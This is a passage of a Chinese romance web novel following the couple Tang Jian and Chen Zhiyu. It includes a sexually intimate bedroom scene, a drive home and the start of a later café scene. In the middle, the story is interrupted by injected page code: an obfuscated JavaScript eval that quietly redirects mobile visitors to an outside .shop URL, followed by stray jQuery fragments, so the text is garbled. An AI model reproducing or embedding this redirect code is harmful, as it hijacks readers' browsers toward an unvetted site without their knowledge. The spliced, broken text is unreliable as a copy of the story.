等到笑意平复,她才抱着腿怒道:“这不对啊,不是我要的效果!”
陈至屿凑近,手撑在她身体两侧,笑盈盈地问:“你想要什么效果?”
“应该是亲昵的,暧昧的才对,失算了!”她有点气恼,腮帮子都鼓了起来。
陈至屿亲了亲她的鼻尖,柔声道:“然后呢?”
“然后……”她脸颊发烫,有些不好意思地开口道:“然后应该来个甜蜜的kiss。”
嘴唇上柔软的触感一触即分,他的双眼像含了春水般潋滟温柔,“是这样吗?”
唐简被他捉弄得有些急躁,干脆不再废话,一把拽着对方领口,贴上他的嘴巴。
磁性的轻笑声传入耳里,唐简只看得见他长长的睫毛,刚才轻柔的吻法已经被他抛掷脑后,像是要把她吃掉一样用力吸吮她的舌头。她的轻哼声融化在唇齿之间,向后倒去陷入柔软的被子里,整个人被陈至屿身上舒服的味道包裹。
等分开的时候,两个人都呼吸急促,他的手贴着她的脸侧很轻地摩挲着,带点安抚的意味。
唐简的腿都被压麻了,她蹙起眉头,不满道:“我腿都麻了。”
陈至屿立马翻身到另一边坐起来,“我给你按一按。”
“别——”他的手刚碰到她的小腿,唐简就心有余悸地叫停,“还是不要折腾我的腿了,一个月前才拆护具的。”
“护具?”陈至屿动作停滞,追问道:“你腿怎么了?”
“我一觉醒来的时候就在医院了,小腿骨裂,我姐说是连环车祸。”陈至屿的反应好有意思,唐简换个姿势,相当嚣张地把腿抬起靠在他肩上,她突然知道要怎么拿捏他了。
还不等他开口,她要哭不哭地眯起眼睛,“特别痛啊,其实我真的很需要人照顾的。”
“你说呢?”她轻轻踢了他一脚。
陈至屿没有接话,只是把她腿从肩上拿下来,肉眼看不出问题,还轻捏了一遍,语气有点着急,“现在有没有哪里不舒服?去医院看一下吧。”
不对啊,话题偏了。
唐简连忙将已经下床的某人拽回来,“哎呀我没事,已经痊愈了,没那么脆弱的啦。”
她把脸埋到被子里,语气有点崩溃,“陈至屿!你怎么不按我的套路来啊!”
他还有点不相信,捏了捏她脚踝,“真的没事吗?”
“真的没事!”为了证明,她还轻轻踹了他一脚。
他迟迟不说话,唐简抬眼看他,他眉头微皱,面上的担忧还未褪去,看到她看过来才后知后觉弯起嘴角。
唐简看着他染上笑意的眼睛,慢吞吞道:“还亲不亲了?”
他像是看到了什么很有意思的事情,笑了起来,沉沉的笑声落入耳里让她不受控制地脸热。
“不亲就不亲,我睡会就回家。”她又躺回去。
他还在笑,唐简下意识曲腿想把自己缩成一团,刚动了动腿,脚踝却被人握住,像是在跟她较劲似的,就是不松。
唐简愤愤看过去,某人的眉眼在光下柔和得像是一汪春水,俯身靠近,温暖的触感就落在她的膝盖上。
她呼吸一滞,男人靠得更近,心跳瞬间加快,下意识攥紧他的头发。
微凉的鼻尖靠近,陷入,紧随着的是有些烫人的唇舌。唐简呼吸急促,轻声叫他的名字,得到的只有他轻柔的回应。
难言的快感让她下意识想要后退,他的手搭在她腰腹的位置不让她离开,口中溢出不受控制的轻哼,唐简感觉自己都快烧起来了,手紧紧捂着嘴巴。
快感一阵比一阵猛烈,到最后双腿都不自觉地颤抖,她松开手,小口小口地喘气,声音染上哭腔,“陈至屿……”
他动作很轻地帮她清理好才躺到她身边,擦掉她眼尾溢出的生理性眼泪,柔声问道:“有没有不舒服?”
唐简脸上的温度丝毫没有要降低的意思,摇了摇头,把头埋进他的怀里,手紧紧圈住他的腰,不说话了。
他的手落在她后背,一下一下轻轻抚着。
过了好一会,她瓮声瓮气道:“你要搬过来跟我住,南瓜需要你……我也需要你。”
陈至屿忍不住笑起来,怎么可以这么可爱呢?他亲了亲她的发顶,应了声好。
“我知道你在担心什么,那些都不重要,我会保护你的。”唐简再次强调,“是真的。”
陈至屿捧起她的脸,亲了又亲她的侧脸,“嗯,我知道了,我相信你,最厉害的唐小姐。”
唐简红着脸接受了他的夸奖,才猛地想起遗漏了什么,推了推他,“快去看看南瓜在外面干嘛!”
他起身去客厅看了一眼,“已经睡着了。”
唐简松了口气,才开口问他,“那我今晚回去吗?”
她愿意把选择权交给他。
“时间不早了,”他看了眼时间,“我送你回去吧。”
“……你居然想我走。”唐简幽怨地看了他一眼,上一世两人忙得要死,都没做到最后过,她就不信他不想。
“这里没有你的衣服,洗护用品也不是你用惯的,地点不是很合适。”他亲了亲她的嘴角,理智地分析道。
“好吧,有点道理,不过下回不能出现之前的纰漏了。”唐简搂过他的脖子,歪了歪头。
他知道她在说什么,笑着点头。
唐简摸摸他的下巴,满意地点点头。
门外有细微的响动,三秒后有爪子刨门的声音,唐简打开门把南瓜端起来,“那我要回家咯?”
“嗯,走吧。”陈至屿摸摸她的脑袋,拿起她放在沙发上的包,跟在她身后出了门。
车窗隔绝了窗外温暖的夜风,唐简没有放歌,隐约能听到后座传来的鼾声,她窝在副驾偏头看他。
窗外的路灯照进来,他长长的睫毛和鼻梁忽明忽暗地闪着金色,唐简什么也没想,大脑空白着,只是静默着看他。
她忽然想到这辈子在医院醒来之前做的梦,她也是以这种视角再次见到对她最重要的人,很普通平凡的一幕,但在以后回想起来,她还是记得暗色的环境里有最让人安心的靠山
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17778933|206455||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
,记得父母温柔的眼神和语气。
就像是——现在陈至屿看过来的眼神。
不同的是,现在她可以将带来这种相似感觉的人留在身边,看了眼面前的红灯,她才朝他伸出手。看他笑盈盈地与她十指相扣,低下头细细亲吻她的指尖。
有些东西是金钱换不来的,唐简不愿意承认,但答案已经在心里浮现。
到了家门口,唐简带着南瓜下车,她没有什么动作,陈至屿就站在车边目送她。刚打开院子旁边的小门,南瓜先冲了进去,唐简停住脚步,盯着自己脚尖看了两秒,转过头他还在那里,笑着挑眉,似乎在询问她怎么了。
唐简收回视线,肩头的黑发随着她的动作滑落在胸口,微凉的发尾划过皮肤,痒意扩散开来。
她突然转过身朝陈至屿跑去,杏黄的裙摆在她身后鼓起圆润的弧度。
陈至屿想到小时候邻居种在家门口的金盏菊,黄澄澄的,他耐心等了很久,等它结出种子,将它种在阳台上,但还没等它开花就被推倒在地,等他回家只有枯萎的叶子。时间太过久远,他已经记不清是爸爸还是上门要债的人推倒的了。
夜风吹得他眼睫颤动,他笑着张开双臂,接住那朵为他而来的金盏菊,香气扑鼻,是爱人的味道。
唐简紧紧搂住他的脖子,他弯着腰将脸跟她的贴在一起,柔声道:“怎么了呀?”
“陈至屿,你知不知道你这幅样子很可怜啊……”
……就这么站在夜色里,可怜巴巴的,还要冲她笑。
“嗯?我不知道啊。”陈至屿轻轻笑起来,亲了亲她的耳垂,“不过我知道你在心疼我。其实在遇见你之后,我经常偷偷庆幸自己运气好。”
唐简忍住鼻酸,挤出笑容骂了他一句,“傻子。”
两人静静抱了一会,唐简才将人推开,“我明天中午跟人约了吃饭,等你到家我再去找你,你先收拾好常用的东西,听到没?”
“嗯!听到了。”
“路上小心。”
“知道了,到家给你打电话。”
“行吧,勉强同意你的申请。”
陈至屿笑弯了眼,捧着她的脸亲了又亲才离开。
-
醇香的液体滑入喉咙,瓷白的杯子被放置在深色桌沿边,黑色卷发一袭杏色长裙的女人失神地看着眼前的空位。
服务员经过几次,悄悄用余光看,这个空位在很久之前坐的是一位西装革履的男人,两人也没有情绪激烈的争吵,怎么这位女士看着这么难过。
再次经过,服务员将一杯温水轻轻放在她面前,顺手将那个有坠落风险的杯子往桌子中心推了推。
细微的动静将唐简的思绪拉回现实,她像是惊醒般混乱几秒,才柔声道谢。
“叮——”
唐简走出电梯,往最里面的办公室走,路过扎着低丸子灰色职业装的林璐,对方朝她笑了笑,显然还记得她上回说的话,“唐简,唐总在办公室哦!”
“我知道了,谢谢,今天请大家吃下午茶。”